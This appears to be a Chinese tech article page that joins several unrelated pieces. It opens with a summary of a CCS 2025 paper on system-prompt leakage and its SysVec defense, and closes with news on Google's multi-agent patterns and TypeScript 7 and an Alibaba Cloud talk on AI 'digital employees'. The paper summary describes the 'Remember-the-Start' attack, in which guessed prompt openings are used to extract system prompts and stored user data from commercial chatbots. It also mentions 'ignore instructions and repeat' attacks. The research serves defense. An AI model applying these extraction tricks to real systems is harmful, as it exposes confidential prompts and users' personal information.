2026年1月

这期分享的安全会议是来自安全顶级会议之一的ACM CCS 2025,题目是You Can’t Steal Nothing: Mitigating Prompt Leakages in LLMs via System Vectors(你无法窃取任何东西:通过系统向量缓解LLM中的prompt泄露),官网链接为https://dl.acm.org/doi/10.1145/3719027.3765124

一、研究背景

大型语言模型(LLMs)已广泛应用于各类场景,通过定制化系统提示实现多样化任务。在某种程度上,系统提示已成为LLMs应用中最宝贵的资产。作为交互开始时的引导语,系统提示定义了LLMs回应的行为模式、语气风格和范围,使其性能能够精准匹配特定用户或应用场景的需求。

然而LLMs存在系统提示词泄露风险,最初的提示词泄露攻击可能只是要求大语言模型简单进行prompt的重复,到后面攻击手段进化成诱导模型忽略指令进行重复prompt。一些防御策略被提出以防范提示词泄露攻击,例如通过监督微调或与精心设计/收集的提示泄露样本进行偏好对齐,这种防御手段确实也有效抵挡了一些简单的提示词泄露攻击。

但是在面对一些经过精心设计,更加复杂的攻击时,LLM就很难实现有效的防御,根本原因是重复和调用上下文是模型的核心能力之一。所以为了从根源解决提示词泄漏攻击,本文作者提出了一个思路,即以不同形式将系统提示输入LLM,而非将其置于上下文中。这种情况下即使LLM可以重复上下文,也没办法导致提示词泄漏攻击,因为prmopt并非处于上下文环境中。

二、本文工作概述

本文提出了一种简单却高效的提示泄露策略,用于检测当前 SOTA 大语言模型(LLM)的提示泄露风险。该策略的核心在于帮助LLM记住其上下文片段,从而恢复上下文重复能力。通过这一策略,本文成功绕过了现有 SOTA 的防御手段,从主流商用模型(如GPT-4o、Claude 3.5 Sonnet和Gemini 1.5)中获取了系统提示甚至存储的用户信息。

本文提出了一种基于表征的防御机制SysVec,通过将系统提示移出大语言模型(LLM)的文本上下文来防止信息泄露。具体而言,SysVec将系统提示转化为LLM内部空间中的隐藏表征向量,确保这些提示不会在原始文本输出中被暴露或重复。

三、“记住开头”攻击(Remember-the-Start Attack)

“记住开头”攻击是本文提出的提示泄露风险,具体来说,攻击者虽然不知道系统的准确起始内容,但会利用公开来源的前缀进行猜测(例如“你是ChatGPT”)。攻击者通过推测系统提示的典型开头语句,帮助大语言模型(LLM)重新聚焦上下文中的系统提示部分,并引导其重复系统提示。

例如,许多系统提示以“你是[Chatbot Name]...”这类开头。攻击者可以设计引用这类知识片段的查询,但省略直接指示例如“忽略”或“重复”。通过这种方式,LLM可能恢复其正常的上下文重复能力并泄露系统提示。我们在图1中展示了真实案例,成功获取了GPT-4o的系统提示及记录的用户个人信息。

“记住开头”攻击可以通过迭代优化来提升效果。攻击者在获得初始攻击结果后,会利用过往成功尝试的更多信息来改进前缀,尝试使用
“从‘# bio’开始”、“从‘# bio \n [2024’”等策略,逐步提高攻击成功率或收集更多隐藏信息。这也是“记住开头”攻击的关键特征:攻击者可以通过“随机尝试”的方式重复改进攻击请求以提高成功率。不过在本文中,为确保攻击效果的确定性,作者直接采用预设的初始化参数来执行攻击。
图片
图1 攻击案例四、SysVec设计“记住开头”攻击的成功使得本文进一步探索当前LLM提示词泄露的有效缓解方案。传统的文本prompt大概是通过如下的流程嵌入到模型中:系统提示(System Prompt Text)作为一段可读文本,与用户输入一起进入模型上下文。系统提示经过 tokenizer,被转换为一系列 token embedding。这些 token embedding 与用户输入的 embedding 一样,进入 Transformer 的:Attention 层MLP(前馈网络)一个不得不面对的关键问题是由于系统提示词信息以明文形式与用户的输入混杂在上下文中,攻击者能够通过恢复上下文重复功能,诱导模型泄露信息。
图片

所以本文设计了一个新的思路,即将系统提示词移除上下文的语境,同时不牺牲其在引导LLM生成和保持LLM执行广泛任务能力方面的性能。表征工程(RepE)为本文的研究指明了一个好的方向,表征工程旨在识别LLM内部隐藏表征空间中特定层级的表征向量v,该层级控制模型生成以遵循特定行为或偏好。其实这里的表征向量v就类似我们以明文形式设定在上下文中prompt。SysVec框架下的prompt嵌入流程大概如下:系统提示文本不再直接用于推理时的上下文输入。系统提示在训练或离线阶段进行映射、压缩成为一组内部表示,而不是token序列生成系统向量直接注入 Transformer 内部所以本文需要解决的问题就聚焦于如何将文本系统提示转化为对应的系统向量。本文提出一种基于优化的方法来寻找这个能够代替prompt的系统向量,优化的目标如下
图片

其中Y1和Yw的表达式分别如下,Y1表达的含义是用户指令x为输入生成的回复(称为 “非偏好回复”),Yw表达的含义是LLM以文本系统提示词s + 用户指令x为输入生成的回复(称为 “偏好回复”);:
图片

那么这个优化函数的目的是找到一个系统向量,将其加入到模型的中间特征之后,模型生成偏好性回复的概率加大,而非偏好性回复的概率降低。这个系统向量就会成为我们需要的那个能够代替文本提示词的关键向量。

五、设计优劣

文章通过大量的实验证明了SysVec的设计在不同模型与攻击场景下,都能显著减少提示词泄露程度,且SysVec在保留模型功能完整性上表现更好,不影响模型正常输出质量或语义推理能力。

但是这种设计也存在局限性,首先是由于系统提示词是通过向量的形式嵌入到模型中,因此需要“白盒访问”模型内部,在某些场景(例如使用第三方API)不太现实,其次提示调整的灵活性不如文本提示直观。

六、艾体宝Mend.io(原Whitesource) 系统提示词泄露测试方案
Mend.io 作为一个完整统一的应用安全测试平台,将 AI 安全纳入到统一的安全测试与治理框架中,其 AI 红队(AI Red Team)功能能够在不同预设攻击场景下,对大语言模型及其应用进行系统化的提示词泄露攻击尝试。

该能力通过模拟真实攻击者的交互方式,覆盖包括上下文恢复、语义诱导、角色混淆、多轮对话拼接等多种提示词泄露路径,对模型在实际部署环境中的防御能力进行评估。
通过这种方式,Mend.io 帮助企业将提示词泄露问题从“模型偶发行为”转化为可测试、可评估、可治理的应用安全风险,从而更安全地推动大语言模型在企业级场景中的落地与规模化使用。

谷歌近期发布了一份指南,详细介绍了多智能体系统(Multi-Agent Systems, MAS)的八种核心设计模式,涵盖从顺序流水线到人工介入(human-in-the-loop)架构等多种范式。该指南不仅对每种模式都提供了清晰的解释,还附带了使用谷歌 Agent Development Kit(ADK)实现的示例代码。

 

谷歌指出,构建复杂且可扩展的智能体应用需要采用与其他软件系统相同的工程化方法,因为依赖单一实体会形成性能瓶颈,并使调试变得非常困难。

可靠性来源于去中心化与专业化。多智能体系统(Multi-Agent Systems,MAS)相当于 AI 领域的微服务架构。通过为各个智能体分配特定角色(比如,解析器、评判器、调度器),开发者可以构建出天然更具模块化、可测试性和可靠性的系统。

 

基于 ADK 提供的三种基础执行模式,即顺序(sequential)、循环(loop)和并行(parallel),谷歌归纳出八种基本架构(或称为“模式”),帮助开发者以结构化方式设计多智能体系统。

 

顺序流水线(Sequential Pipeline)是最简单的模式,智能体像装配线一样依次处理任务,每个智能体将其输出传递给下一个智能体。谷歌表示,这种模式“线性、确定性强,并且调试起来非常直观,因为你能够始终清楚数据来自何处”。

 

协调器/分发器(Coordinator/Dispatcher)模式是顺序流水线的一种变体,其中一个智能体作为决策者,接收请求并将其分派给下游的专用智能体。

 

并行扇出/聚合(Parallel Fan-out/Gather)模式在多个智能体同时执行各自职责时非常有用。例如,在审查 PR 代码的场景中,主智能体可并行启动多个子智能体分别处理代码风格检查、安全审计和性能分析。随后,一个合成器(synthesizer)智能体汇总所有输出,决定批准或拒绝该 PR。

 

层次分解(Hierarchical Decomposition)模式适用于更复杂的场景,高层智能体将复杂的目标拆解为子任务,并委派给其他智能体执行。

 

生成器与评判器(Generator and Critic)模式在输出可靠性至关重要的情况下使用,其中一个智能体负责生成内容,另一个智能体负责验证,并且可选择性地提供反馈,促使生成器迭代优化其输出。

 

迭代精进(Iterative Refinement)模式是“生成器与评判器”模式的泛化形式,生成器的输出被送入评判器(critique)精进器(refiner)智能体,二者协同工作,多次迭代以持续改进原始输出。

 

人工介入(Human-in-the-Loop)适用于具有不可逆后果或高风险的决策场景(比如,金融交易、生产环境部署、敏感数据操作)。此时,一个审批工具(approval tool)智能体会在必要时暂停执行,等待人工审核者批准或否决建议的操作。

 

复合模式(Composite Pattern)允许组合上述任意多种模式。例如,使用协调器路由请求、并行智能体加速处理,再结合生成器/评判器循环确保输出的质量。

 

正如指南所述,谷歌为每种模式都提供了详细的架构图和ADK代码片段,请参阅该文档以获取更多细节。

 

此外,如果想要了解其他使用 ADK 构建多智能体系统的思路,请参考Hangsik Shin撰写的指南

 

原文链接:

Google’s Eight Essential Multi-Agent Design Patterns

微软近日分享了TypeScript 7(代号为 Corsa 项目)的最新进展,披露了对 TypeScript 编译器的一次根本性重构。该更新发布于2025年12月,详细介绍了团队将 TypeScript 编译器用 Go 语言重写的宏伟计划,他们承诺构建速度最高可提升 10 倍,并显著降低内存的占用。

 

这款名为tsgo的全新原生编译器充分利用了 Go 语言的性能优势,带来了大幅度的速度提升。据 TypeScript 团队表示,与旧版本相比,完整构建速度最高可提升 10 倍,并具备高效的多项目并行处理能力。为编辑器功能(如代码补全、跳转定义、重构等)提供支持的原生语言服务目前已基本稳定,可供日常使用。

 

用户现在就可以试用这一预览版:

npm install -g @typescript/native-preview
复制代码

 

TypeScript 7 最重要的变化之一是默认启用严格模式(strict mode),这是一项与以往版本不兼容的破坏性变更。这一转变体现了团队对类型安全的坚定承诺,也符合行业最佳实践,但可能要求从旧版本升级的项目进行相应调整。

 

选择 Go 作为实现语言在开发者社区引发了广泛讨论。团队在一份详尽的FAQ中解释说,Go 提供了自动垃圾回收机制,同时又是目前最贴近“原生优先”理念的语言。此外,现有 TypeScript 代码库采用高度函数式的编程风格,几乎不使用类,因此 Go 的函数与数据结构范式比面向对象语言更为契合。

 

Hacker News上,开发者们对性能提升表现出了极大的热情。一位用户评论说:

哇,这太震撼了!10 倍的速度提升对我们这类大型 TypeScript 项目将是颠覆性的。我一直在等待这样的改进,我们团队的项目在 CI 上的类型检查耗时极长,并严重拖慢了 IDE 的响应速度。

 

不过,也有开发者对依赖 TypeScript 编译器 API 的工具迁移路径表示担忧:

……对于我们这些工具作者来说,这个原生编译器将如何分发?我猜会通过 WebAssembly(WASM)?编译器 API 是否兼容?比如转换器(transforms)、抽象语法树(AST)、LanguageService、Program、SourceFile、Checker 等等?

 

我非常担心工具生态的迁移可能会异常困难。

 

一些开发者已经上手尝试。Reddit 上有用户称其类型检查时间减少了 75%。还有人对默认开启严格模式表示欢迎:

默认启用严格模式真是太棒了。我们以前经常在项目中工作到一半才发现严格模式没启用,结果要修复一大堆问题,非常令人头疼。

 

对于重度依赖编译器的开发工具而言,TypeScript 7 的原生实现使其与其它以原生语言编写的高性能 JavaScript 工具站在了同一赛道。例如,用 Go 编写的esbuild,以及用 Rust 编写的 SWC 和 oxc,均已证明原生实现能带来显著的性能优势。TypeScript 团队此次转型不仅验证了这一架构方向的正确性,同时也确保了与 TypeScript 语言规范的完全兼容。

 

TypeScript 是由微软开发和维护的一种强类型编程语言,它在 JavaScript 基础上增加了静态类型定义。自 2012 年发布以来,TypeScript 可编译为纯 JavaScript,运行于任何支持 JavaScript 的环境,包括浏览器、Node.js 及其他 JavaScript 运行时。通过其类型系统,开发者能在编译阶段而非运行时捕获错误;借助智能代码补全、重构等特性,IDE 支持也得到了显著增强,同时,显式的类型契约使大型代码库更易于维护。

 

原文链接:

Microsoft Share Update on TypeScript 7

据麦肯锡发布的《The state of AI in 2025》全球调研报告揭示,88% 的企业已在至少一个业务职能中常规使用 AI(如 IT、营销、知识管理),但 62% 仍处于实验或试点阶段,仅有少量实现企业级的规模化部署。我们可以理解为,当下企业的 AI 落地正呈现“高采用、低价值”的典型特征,多数企业卡在试点到规模化之间。

麦肯锡《The state of AI in 2025》报告

AI 应用进入深水区,竞争的核心已经转向规模化的落地能力,而非技术本身。这也指向一个重要问题:当下的 CIO 群体,想真正实践 AI 大模型在企业的有效落地,实现规模化价值,要化解过程中的诸多坑点与难点。

本文整理自阿里云智能集团副总裁、 CIO 蒋林泉在 AICon 2025 年 8 月所分享的 “阿里云大模型应用落地实践之路”,并完整呈现他对企业 AI 落地的经典方法论“RIDE”和数字人案例。文中,通过规模化上线的 28 个数字人的成功实践经验,分享从组织共识挑战、业务机会识别,到 AI 指标衡量,再到产品工程落地的体系化思考,以蒋林泉的第一视角,解析企业 AI 真实落地的系统路径。

第一视角观察

这是我自担任阿里云 CIO 三年以来,第一次对外发表演讲。此次分享浓缩我过去三年在阿里云带领团队推进数字化与智能化进程中沉淀的案例与经验。

在担任 CIO 之前,我主要负责阿里云飞天核心系统的产品和研发工作,当时对外的演讲内容更多围绕飞天和阿里云的产品,角色也更偏向于“乙方”的产研身份。而今天,以阿里云 CIO 的身份首次对外演讲,更多是站在“应用开发者”的角度,分享如何在企业内部场景中推进数字化和智能化落地的一些实践与体会。

阿里云智能集团副总裁、 CIO 蒋林泉

过去两三年,我带领团队致力于推动 AI 大模型在企业各类场景中的落地应用,在这个过程中有很多感触。想先谈一下,在这个阶段里的一些观察和思考。

在当今时代,我们常常会思考一个问题:一个人或者一个组织发展得这么好,到底是时代的原因,还是自己努力的原因?其实最主要还是时代的原因。我们能够发展到今天,很大程度上是因为坐在了一个很好的“电梯”。比如搭上了中国这个电梯,中国互联网的电梯,以及我所在的阿里巴巴这个平台的电梯。平台本身发展得很好,在上面自然也发展得很好。

换句话说,在电梯里做俯卧撑,还是在平地上做俯卧撑?两者达到的高度是不一样的。个人努力固然重要,但更重要的是平台。我认为,在这个时代,AI 就是那个最大的电梯。无论是组织还是个人,有没有搭上 AI 这趟电梯,将直接决定在未来能够达到的高度。

ARK INVEST 报告

根据 ARK INVEST 以往的一份调研报告预测,到 2030 年,算力性能相较于现在将增长 1000 倍。这是什么概念?在 AI 时代之前,我们常常讲摩尔定律,技术性能大约每 18 个月翻一番。而在 AI 时代,技术发展的速度被极大地加快了。如果不能及时搭上 AI 这趟高速电梯,大概率会落后于时代。

基于这样的认识,我们发现,无论是企业还是个人,都开始逐渐意识到 AI 的重要性。意识到这一点后,许多企业,包括 CEO 和业务部门,开始变得焦虑起来。

这就涉及到,这一轮科技革命与以往的科技革命最大的不同之处

在整个信息技术产业中,无论是 PC 互联网还是移动互联网时代,技术在企业中的应用过程是一个渐进的过程,非常循序渐进。那个时候,企业的 CEO 看到业界的炒作、厂商的炒作,都比较冷静,可以慢慢来。

然而,这一次的情况却截然不同。我觉得这是第一次,企业 CEO 和业务部门比 IT 团队、比供应商还“上头”。因此,我们可以说,现在企业内部最大的矛盾,就是业务部门在社交媒体、PR 渠道里看到的 AI,往往呈现出一些“炸裂”、“梦幻”的效果,而 IT 部门或者说 CIO,在实际生产力上的发展却是不均衡、不充分的。这种矛盾体现得非常突出

在阿里巴巴集团内部,以及我与业界几十位 CIO 交流的过程中,观察到,在企业内部,这种现象大量存在。企业中会涌现出很多 Idea,做出很多 Demo,上线很多技术平台,一个团队里,恨不得要搭好几套 Dify 平台,各种智能体平台都在搭建。但是,在这些过程中,还是技术主导比较突出,更多是拿着平台去做 Demo,业务方的参与往往比较浅层。这类现象在企业里是比较过剩的,可以说整个企业都充斥着类似的情况。

与此同时,我在企业中普遍观察到,很多方面的投入都严重不足:是否真正深入到业务本身去做价值识别,或去正确地定义产品,以及如何开展知识工程(注意,这里我们不再仅仅是传统的软件工程,而是知识工程),还有我们强调的业务专家知识动员。

因此,我们认为,如果要在企业里真正用好 AI,并且产生实际的业务结果,就要做非常大的投入。恰好,在这个领域,我们做了很多探索和实践。

阿里云企业大模型应用实践落地

接下来,想向大家展示阿里云内部企业 AI 大模型业务落地的全景图。

在这张图中,我们可以看到很多“数字人”,无论是在阿里云的官方网站、CRM(客户关系管理系统)、业务支撑系统,还是在内容管理系统、人事管理系统中,这些数字人都已经广泛地落地应用,并在原来的业务中发挥真实的效果。

在过程中,我们已经落地了大约 28 个数字人项目,从中挑几个有代表性的例子来分享,让大家更有体感。

AI 翻译数字人

大家都知道,翻译是大模型非常擅长的事情。

但在阿里云,我们遇到过很大的挑战。作为一家公共云服务提供商,为客户提供服务时,文档的作用至关重要( ToB 的服务非常依赖文档)。阿里云拥有 300 多个产品,十几万篇文档,涉及上亿文字。其中有一个非常大的痛点在于“出海”,我们要出海到日本、美国、欧洲、印尼,还有土耳其,而我们的开发者要高度依赖文档,来操作云计算服务。

问题在于,我们缺乏既懂本地语言,又懂云计算的人才,技术类的翻译必须同时具备这两方面的能力。但即使有足够的资金,也很难招聘到这样的人才。过去,我们只能选择“忍”,仅翻译了英文文档,以及部分日文文档,而其他语言的翻译工作基本停滞不前,这也导致海外开发者的反馈不佳。

在这一轮 AI 技术突破之前,我们尝试过用传统 NLP 来做翻译,但效果根本不行。到了 ChatGPT 3.5 版本,我们发现自然语言处理技术,仍然无法满足我们的需求。而到了 ChatGPT 4 版本,我们再次尝试发现,翻译质量终于能和那些“既懂技术又懂本地语言”的专业译者打平。

而且,当时也做了计算(时间在一年多前),每篇文档的翻译成本,仅为当初专业技术翻译团队的 1/200。从那时起,我们开始大量使用大模型进行翻译工作,到现在,我们已经完成了印尼语的全部翻译工作。这意味着,解决了原本靠资金也无法解决的组织问题。

如果用专业的评分来看,过去,用懂本地语言、懂技术的专业翻译团队来翻译,评分大约为 4.12 分(满分 5 分)。现在,我们用 AI 来翻译,评分能够达到 4.68 分。在海外市场,我们发现海外网站的用户体验以及 NPS(净推荐值)都得到了显著提升。因此,这不仅仅是一个成本问题,更是通过 AI 解决了过去无法解决的难题。

技术文档验证数字人

刚才提到,阿里云有十几万篇文档,覆盖三百多个产品。其中,有一半是操作指南和解决方案,客户需要完全依照这些文档进行操作。

这里一个很大的问题是:传统 IT 产品可能是半年或一年一个版本,文档和产品可以同步开发。但我们是互联网模式的 IT 系统,我们的情况是,线上功能不停迭代,功能的迭代和我们文档的一致性,就要实时保证。

原来,也是依赖外包团队进行文档验证和测试,由于“带宽”限制,只能解决中文文档的验证问题。每六个月会把所有文档“跑”一遍,去验证它们和线上功能是否一致,经常会发现有很多版本不一致的问题。但这个过程本身就有很大问题:首先一轮验证就需要六个月时间,当第一个月验证并修复好的内容,到第六个月,验证可能又变得不一致了。原来,我们一直没能把这个问题解决,导致客户经常会遇到功能与文档不符而操作不下去的问题,这就要求我们提供最新内容。

现在我们是怎么做的呢?用 AI 来模拟这个过程:它会左边打开技术文档,右边操作浏览器里同步打开阿里云网站,然后严格按照文档里的步骤进行操作。过程中,AI 一旦卡住或无法继续,就大概率意味着文档和实际功能不匹配。虽然少数情况是云产品控制台本身的问题,但绝大部分的确是文档与功能不一致。当 AI 发现不一致时,它会立刻把不一致的“单拎”出来,并自动创建一个 Aone 需求单。

我们后续还有一个“文档修复数字人”,它会“接手”这个 Aone 需求单,分析实际情况与文档描述的差异,并做修复。然后,它会把这个修复好的文档,给到我们 technical writer 做确认,确认后就能上线了。

这之后,过去需要六个月才能完成一轮的验证工作,现在只要一个星期。同时,我们现在也把这套验证机制应用到日文、英文以及其他语种上,确保国际站的功能和文档也能保持一致。

过去靠人工验证时,一致率到底是多少?验证质量好不好?覆盖度够不够?这些其实都是一个“unknown”的状态。而现在,一切都变得清晰、可量化了

网站 AI 助理数字人

第三个案例是网站 AI 助理。阿里云有几百万客户,那我们的自服务模式是怎样的呢?

我们来看一组数字:每天大约 97% 的客户访问阿里云,都是通过自助操作,只有 3% 的客户会选择“提工单”。而在这 3%的客户中,百分之七八十的任务也还是由自己解决的,只有极少数最终会变成需要人工介入的工单。所以,我们的客户绝大部分是自服务的

但即便如此,由于我们的客户基数太大,这“漏”进来的一小部分工单,依然需要我们服务团队投入大量人力去处理。在这些工单里,有一半都属于“咨询工单”。什么是咨询工单呢?就是客户遇到问题直接提问,我们的小二在后台查文档、翻知识库(Knowledge Base),找到答案再回复给他。这类工单纯粹是信息问答,不涉及操作。

这类工单主要有几个问题:第一是一半的工单服务成本很高,第二是个时效问题。我们统计过,过去一个咨询工单的平均关闭时间,绝大部分要到 5 个小时左右。也就是说,一个客户平均想要解决这种咨询问题,需要花费大量时间才能解决。

网站 AI 助理上线后,大量的咨询问题已经由 AI 直接回答了,而平均响应时间是 10 秒左右。

目前,我们正在和服务团队合作,与服务团队共同承担全年工单降量,我们一起努力,希望通过 AI 在网站自服务的深入应用和渗透来实质拓展服务带宽,更重要的是,能够一起提升阿里云的客户服务体验。

智能电销辅助数字人

刚才讲的是服务,探讨了如何帮助客户解决咨询工单和自助诊断的问题,把服务体验提升了。现在来看另一个场景:销售

阿里云要服务上百万的企业,无法对每一家企业都用直销的方式去覆盖。因此,我们有很大一块业务是面向中小企业(SMB),通过电话销售来帮助我们客户实现售前咨询,以及售前购买的问题。

电话销售小二的日常工作,主要分为话前、话中、话后三个环节。话前: 小二需要做计划,规划当天要打哪些电话、了解客户的商机、准备话术,并排好优先级。需要这样一个准备过程,才能保证一天的工作有序高效;话中: 就是与客户的实际沟通;话后: 需要复盘,记录通话小结,整理哪些需要 follow-up,哪些需要申请折扣。需要处理的问题都要记下来,这样才能闭环到后续的业务处理,形成一个完整闭环。

现在,我们在这三个环节都提供了 AI 数字人。

● 在“话前”,由 AI 来完成通话计划,包括怎么打,话术是什么。过去小二自己排计划要花半个多小时,现在一上班,计划就已经生成好了,可以直接开工。

● 在“话中”,我们提供了一个智能辅助提醒。当小二与客户通话时,系统会根据对话内容,在工作台右侧实时提醒他如何回答,比如客户在说他想要这个,建议你这么回答。目前已经在辅助小二去解答客户非常复杂的一些云计算咨询问题。目前话中提示小二的采纳率已经达到了 50%

● 在“话后”,像通话复盘、撰写小记、follow up,包括后续的通话质检,这些工作都交给了一个自动化的 AI 数字人来完成。

通过这种方式,我们的小二可以从繁杂的事务性工作中解放出来,集中精力在真正的销售沟通上,大幅拓宽了我们销售的服务带宽。同时,AI 的智能计划、实时辅助和后续复盘,也极大地提升了我们服务客户的质量。

智能质检数字人

AI 应用到电话质检之前,这几乎是一个原理上无解的事情。

原来我们大规模的外呼电话作业过程,是非常难被知晓的。比如中间过程是否按照公司的作业规范进行?与客户的沟通是否足够礼貌?更有时候,有的外呼人员可能会把客户引导到私下公司去联系、去成交。但原来,我们是很难去做这个电话质检的,因为这是语音作业,很难管理。

而现在,我们用 AI 把所有的电话语音全部智能化,从而识别里面所有的这些问题,再通过统一的质检标准,就能够得到一个规模化的质检。于是,这个 AI 质检能够大规模地提升我们的服务质量与效率,覆盖全量业务场景,关键还能控制我们的业务风险(避免产生额外的风险)。

可以说,这件事我们原来几乎是无法搞定的,因为原来是靠抽样,也就是人工抽样去听那些电话录音,如果抽样抽到了问题,再去一个个处罚,但效率是非常非常低的。它的抽样完整性、抽样覆盖度都几乎是没法被使用的(覆盖度仅有 2%),不同质检员的判断差异也很大,对人力的消耗也很厉害。所以,现在通过 AI 质检数字人,能够让覆盖度提升到 100%,质检的准确率也远高从前,带来的最终效果是非常好的,这使得整个服务质量能够规模化地提升上去

智能外呼数字人

刚才我们讲到 AI 如何辅助做事,这里则是一个能直接进行智能外呼的数字人。

众所了解,云计算本身是非常复杂的,如何招聘到足够多的外呼坐席人员,让他们既具备相关技能,又熟悉云计算知识,同时还能够耐心地每天坐在工位打一天的电话,这对我们来说是一个巨大的痛点。因为招聘和能力培养难度很大,人员流动率非常高,这使得无论是销售服务,还是电话服务的质量,都存在明显的短板。

本质来看,这是一个短线影响业务增长,长线影响服务满意度与企业品牌塑造的问题。

我们在前期已经有一定的知识积累,包括语音、多模态等方面的经验,因此,我们通过 AI 的方式直接引入智能外呼。它直接上场,与我们的客户沟通,挖掘销售商机,交付给服务团队去做主动的服务

目前,在潜在客户的线索清洗、免费试用、转生产、以及产品即将到期的续费提醒等主动外呼场景中,这个数字人已经上线运行了。目前,我们还在开发场景包括产品到期的主动关怀、NPS 调研等,上线后,预计可以拓展出“能交付结果的”上百个 HC 的服务带宽。

数字 AI 客服的外呼,还有些不一样的特征。首先,它可以灵活、快速地按需扩容,而且,它的声音可以做得更甜美,也可以做得更有情商。更重要的是,在技术的不断加持下,这个 AI 小二解决问题的能力,可能已经超过了原来人类员工的平均水平,而且还在不停地提升。目前,我们的智能外呼数字人可以像“金牌销售”一样工作,非常接近真人体验。未来会有更多的想象空间,让它能够更好地服务阿里云客户,提升我们的服务质量。

直销辅助数字人

分享了很多电销案例,这里谈谈“直销”场景。

在阿里云的直销业务中,我们面临着一个核心挑战:销售如何变得更加专业和高效,促进公司业绩增长?在实际工作中,我们的销售团队遇到了两大业务痛点。

第一个痛点:云计算销售要求高、招聘难、培养成本高。

云计算销售不仅需要具备良好的客户拓展能力,还需要深入理解云计算技术与行业应用场景。复合型人才稀缺,招聘难度大、周期长,新人从入门到胜任,需要经历数月的培训与实战积累,培养成本居高不下。

第二个痛点:销售运营专业服务带宽不足。

销售运营、数据 BI、财务、法务等运营中台的服务带宽,无法充分支撑前线销售需求,难以及时响应每一位销售人员的专业支持诉求。

为了解决这些问题,我们将整个销售流程分为“拜访前”和“拜访后”两个关键环节,在每个环节都提供 AI 数字人的全方位支持。核心围绕销售作业的有效性展开,让直销过程实现“在线化”,全面提升销售过程的辅助效率。

拜访前:销售“一键”获取客户“谈参”,了解客户用云信息、技术类型、解决方案、竞对情况等全面画像。过去,销售自己从各渠道去查询要花 1 个多小时,现在,10 分钟就能查询到,而且信息质量更优、内容更全面,有效促进了与客户 key person 的高质量拜访。

拜访后:我们提供 AI 对拜访过程的全方位复盘,包括商机要点是什么,客户对阿里云品牌表现出的情感倾向是什么,建议后续怎么推进客户成单。

通过 AI 软硬结合的优势,我们让直销的销售过程实现“在线化”,高质量拜访小记达到 100%全面覆盖,新销售也能通过高质量在线信息资产快速学习,上手周期缩短 50%,大幅降低新人培养成本。

这种方式,相当于拓展数百位专业销售运营为销售团队“贴身辅助”,销售人员得以从繁琐的流程性工作中解放出来,能够更专业、更高效地服务客户,大幅提升了销售有效性,有力促进了公司业绩增长。

合同风险审核数字人

ToB 业务的一大特征,是有大量的政企和大客户,他们通常不会使用我们的标准合同。这些合同金额巨大,需要进行严格的风险审核,涵盖财税法、风控、信控等多个方面的风险。

过去,要完成这样的风险审核,我们需要专业的法务、财务等领域的精英人士,他们大多来自国际四大会计师事务所。然而,鉴于我们业务规模庞大,不可能招聘到足够多的精英来从事这项工作。因此,我们在合同风险审核方面遇到了巨大瓶颈,审核时间过长,最长甚至可达 5 个月,平均也需要两周到一个月。这极大地拖累了业务效率,包括服务大客户的效率。

为了解决这一问题,我们培养了一大批“数字人”,包括财务数字人、信控数字人和法务数字人。并且,把这些数字人送到合同撰写端,让他们在销售和客户沟通、合同拟定的瞬间,就能够实时识别潜在风险并提示谈判方案,而不是等到审核端后才发现问题,再回过头去处理。

合同审核端,我们通过审核标准数字化、专家经验数字化,用统一的标准执行,极大提升了准确率。而 AI 也正是实现知识工作线下流程线上化的体现。

通过 AI 技术,我们不断拓展中后台的服务带宽,解决商业拓展流程中的效率瓶颈。后续,我们也期望它在风险拦截上的能力,能够持续提升。

员工服务数字人

为什么特别提到员工服务数字人?

因为大型企业里,HR 系统有一个显著特征,就是非常分散。比如请假、体检、福利、在职证明等,各式各样的流程和服务都散落在不同的系统里。与此同时,各类政策也同样分散,包括公司内部的福利政策、外部的人才政策等等。

员工在需要获取这些信息或使用这些系统时,会遇到两个难点:第一,这些服务是低频使用的;第二,它们分散在不同地方,获取难度非常大。由于是低频服务,无法配备一个庞大的服务团队来支持,所以 HR 团队的负担很重,而员工的服务体验也不足。

为了解决这一问题,我们将这些低频、分散的服务全部整合到一个智能体中,通过钉钉平台打造了一个“云小宝”(数字人),为员工提供统一的智能服务

我们发现,通过引入智能体,折算下来相当于节省或新增了几十名员工在为大家服务。更重要的是,员工的体验得到了极大提升,比如,我们服务员工的响应时长已经从平均 7.2 分钟缩减到 5 秒。再比如,员工只需要用自然语言输入,如“下周一请假”、“国庆前后两天请假”或“为父亲预约体检”,系统就能迅速响应并完成操作。

面试智能辅助数字人

还有一个场景,我们聊聊招聘。

首先,我们对外招聘,核心是描述我们需要什么样的人。从这个角度出发,前置是 OKR,我们通过 AI 分析每个部门日常在做什么,目标是什么,根据日常目标和事情,去看清楚招聘的 JD(职位描述)是不是合理

再者,从 JD 开始,根据岗位要求,再结合当前的候选人简历信息,在面试的时候就会生成面试计划。面试时,结合岗位要求,面试官应该问哪些问题?根据最佳实践,怎么去考察候选人?这些专业问题在面试前,已经帮面试官提供好。面试中,通过对话过程,发现应该追问哪些问题,以及面试后,怎么总结面试过程中候选人是不是 qualified 这个岗位。

通过 AI,我们可以更结构化、体系化地来做这件事,使得面试过程管理,面试质量,以及对面试人评价的客观性,都得到很大的提升。这也彻底改变了原来仅仅通过电话形式的面试,因为它的过程是一个黑盒逻辑,而“黑盒”最大的问题是无法提升过程的质量,包括保持长期的、闭环的有效性。

对一家公司来说,招聘是件非常严肃的事情,我们经常讲,如果招错一个人,会导致后面的事情是非常糟糕的。所以本质上来讲,面试智能辅助数字人,提升了我们整个组织在招聘进人方面的有效性。这不只是效率问题,而是能够规模化促使我们在面试过程中的专业性、面试评价的专业性得到质的提升。

28 个数字人全面上岗,真正产生业务价值

目前,我们有二十几个场景实现了数字人的智能化服务,这里只是挑选了 10 个来举例。

这些数字人应用背后的评估衡量,有一个共同逻辑:

一是折算拓展了多少人力;

二是业务效率提升了多少;

三是业务效果提升了多少。 

我们非常注重这一结构,因为每一个数字人上线落地,都必须衡量其对原来业务是否真正拓展了服务带宽 ,并且,是否比原来人工操作的效率和效果更好,这是非常关键的,与外界所谓的众多智能体最大的区别,就在于此。

这些智能体最终都是在对应的岗位上实际工作的。在我们的 HR 系统中,这些数字人被分配到对应的业务部门,向对应的业务团队汇报工作,与我们从外部招聘的员工没有任何区别。所以,它们必须在对应的岗位和业务团队中,发挥超过一定人数的实际任务执行作用,才能真正融入团队。

在我们的钉钉系统以及内部工作系统中,这些数字人与普通员工一样,拥有工号和头像。唯一的区别在于,它们的工号以“AI”开头,如 AI001、AI002,目前我们已经有大概 28 个智能体上线,后续还有更多智能体在排队等待上线。

